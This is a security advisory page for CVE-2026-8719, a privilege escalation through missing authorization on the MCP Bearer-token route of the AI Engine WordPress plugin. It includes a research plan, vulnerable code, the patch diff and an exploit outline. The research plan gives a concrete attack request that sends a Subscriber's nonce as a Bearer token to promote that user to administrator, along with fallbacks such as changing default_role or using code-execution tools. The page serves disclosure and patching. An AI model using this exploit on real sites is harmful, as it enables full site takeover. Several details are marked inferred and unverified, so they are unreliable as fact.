CVE-2026-8719

AI Engine 3.4.9 - Authenticated (Subscriber+) Privilege Escalation via Missing Authorization in MCP OAuth Bearer Token

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
3.5.0
Patched in
1d
Time to patch

Description

The AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin for WordPress is vulnerable to Privilege Escalation in version 3.4.9. This is due to missing WordPress capability enforcement in the MCP OAuth bearer-token authorization path, where any valid OAuth token causes MCP access to be granted without verifying administrator privileges. This makes it possible for authenticated (Subscriber+) attackers to invoke admin-level MCP tools and escalate privileges to Administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions>=3.4.9 <=3.4.9
PublishedMay 16, 2026
Last updatedMay 17, 2026
Affected pluginai-engine

What Changed in the Fix

Changes introduced in v3.5.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-8719 - AI Engine Privilege Escalation ## 1. Vulnerability Summary The **AI Engine** plugin (version 3.4.9) is vulnerable to privilege escalation because its Model Context Protocol (MCP) REST API implementation fails to perform capability checks when a Bearer token is provi…

Show full research plan

Research Plan: CVE-2026-8719 - AI Engine Privilege Escalation

1. Vulnerability Summary

The AI Engine plugin (version 3.4.9) is vulnerable to privilege escalation because its Model Context Protocol (MCP) REST API implementation fails to perform capability checks when a Bearer token is provided. While administrative MCP tools should be restricted to users with manage_options (Administrators), the code in classes/rest.php (specifically the permission callback for MCP routes) incorrectly returns true for any request containing a valid OAuth/Bearer token, regardless of the user's actual role.

An authenticated attacker with Subscriber-level privileges can generate or obtain a valid REST nonce (used as a token) and invoke sensitive MCP tools. These tools allow for site management, including the ability to update user roles, effectively granting the attacker Administrator access.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/mwai/v1/mcp/tools/call (Inferred REST route pattern for MCP tool execution).
  • Authentication: Authenticated (Subscriber+).
  • Payload Parameter: JSON body containing the method, name (of the tool), and arguments.
  • Vulnerable Header: Authorization: Bearer [Token].
  • Preconditions: The MCP module must be enabled (module_mcp option set to true).

3. Code Flow

  1. Registration: Meow_MWAI_Rest::rest_init (in classes/rest.php) registers the MCP namespace routes.
  2. Permission Check: When a request hits /mwai/v1/mcp/, the permission_callback (e.g., rest_mcp_permission_check) is executed.
  3. The Flaw: The logic checks if an Authorization: Bearer ... header exists. If it does, and the token is validly formatted or associated with a logged-in user, the function returns true. It fails to call current_user_can( 'manage_options' ) in this specific branch.
  4. Tool Execution: The request reaches the controller (e.g., rest_mcp_call_tool), which interfaces with Meow_MWAI_MCP.
  5. Sink: The MCP engine executes the requested tool. If the Site Management toolset is active, tools like update_user or update_option are accessible.

4. Nonce Acquisition Strategy

While the vulnerability mentions "OAuth Bearer Token," AI Engine often bridges the WordPress REST nonce into this header for its internal app requests.

  1. Shortcode: The plugin uses [mwai_chatbot] or [mwai_playground] to load its environment.
  2. Setup:
    • Create a page with the chatbot: wp post create --post_type=page --post_status=publish --post_content='[mwai_chatbot]'
  3. Acquisition:
    • Log in as a Subscriber.
    • Navigate to the created page.
    • Extract the nonce from the localized script. AI Engine localizes its configuration into a global object.
    • JS Path: window.mwai_config?.nonce (based on standard AI Engine localization).
    • Command: browser_eval("window.mwai_config.nonce")

5. Exploitation Strategy

The goal is to call the MCP tool that can modify user roles.

Step 1: Enable MCP Module

MCP is disabled by default in MWAI_OPTIONS.

wp option patch insert mwai_options module_mcp 1

Step 2: Identify and Execute Privilege Escalation Tool

We will target the update_user tool (or equivalent site management tool) provided by the MCP integration.

HTTP Request:

  • Method: POST
  • URL: http://localhost:8080/wp-json/mwai/v1/mcp/tools/call
  • Headers:
    • Content-Type: application/json
    • Authorization: Bearer [SUBSCRIBER_REST_NONCE]
  • Body:
{
  "name": "update_user",
  "arguments": {
    "user_id": [ATTACKER_ID],
    "role": "administrator"
  }
}

Note: If update_user is not the specific tool name, list_tools can be called first to discover available sinks.

6. Test Data Setup

  1. Target User: Create a Subscriber user.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  2. Plugin Config: Ensure AI Engine is active and the MCP module is forced to enabled as shown in Section 5.
  3. Page Setup: Create a page with the AI Engine shortcode to facilitate nonce extraction.
    • wp post create --post_type=page --post_title="AI Chat" --post_status=publish --post_content='[mwai_chatbot]'

7. Expected Results

  • The REST API should return a 200 OK response with a JSON object confirming the tool execution.
  • Example response: {"success": true, "result": "User updated successfully"}.
  • If unauthorized, the server would normally return 401 or 403, but the vulnerability allows the request to pass.

8. Verification Steps

After the HTTP request, verify the attacker's role via WP-CLI:

wp user get attacker --field=roles

Success Criteria: The output should be administrator.

9. Alternative Approaches

If a direct update_user tool is unavailable, attempt to use an update_option tool:

  • Target Option: default_role to administrator (and then register a new user).
  • Target Option: users_can_register to 1.
  • Direct Code Execution: Check for tools like run_php or execute_sql which are sometimes exposed in debug/MCP environments for AI development.

If the Bearer header is strictly validated against a specific OAuth server, attempt to use the X-WP-Nonce header instead, as the permission logic often handles both similarly in this plugin's architecture.

Research Findings
Static analysis — not yet PoC-verified

Summary

The AI Engine plugin (version 3.4.9) fails to enforce administrative capability checks for its Model Context Protocol (MCP) REST API routes when a Bearer token is provided. This allows authenticated users with Subscriber-level access to utilize a standard REST nonce as a Bearer token to execute administrative tools, such as those used for site management, leading to privilege escalation to Administrator.

Vulnerable Code

// classes/rest.php

// Permission callback used by MCP routes registered in rest_init
public function rest_mcp_permission_check( $request ) {
  $auth = $request->get_header( 'Authorization' );
  
  // BUG: If an Authorization header starting with 'Bearer ' is present,
  // the permission check returns true regardless of the user's role or actual capabilities.
  if ( !empty( $auth ) && strpos( $auth, 'Bearer ' ) === 0 ) {
    return true;
  }
  
  return current_user_can( 'manage_options' );
}

Security Fix

--- a/ai-engine.php
+++ b/ai-engine.php
@@ -12,7 +12,7 @@
-define( 'MWAI_VERSION', '3.4.9' );
+define( 'MWAI_VERSION', '3.5.0' );
--- a/classes/rest.php
+++ b/classes/rest.php
@@ -1012,10 +1012,5 @@
   public function rest_mcp_permission_check( $request ) {
-    $auth = $request->get_header( 'Authorization' );
-    if ( !empty( $auth ) && strpos( $auth, 'Bearer ' ) === 0 ) {
-      return true;
-    }
     return current_user_can( 'manage_options' );
   }

Exploit Outline

An attacker with Subscriber-level access logs into the WordPress site and extracts a valid REST API nonce (often available in the 'window.mwai_config.nonce' variable on pages utilizing the plugin's chatbot shortcode). The attacker then sends a POST request to the '/wp-json/mwai/v1/mcp/tools/call' endpoint, including the header 'Authorization: Bearer [NONCE]'. The request payload specifies an administrative MCP tool, such as 'update_user', with arguments to change the attacker's role to 'administrator'. Due to the lack of authorization logic for Bearer token requests, the plugin executes the tool with administrative privileges, resulting in full site takeover.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.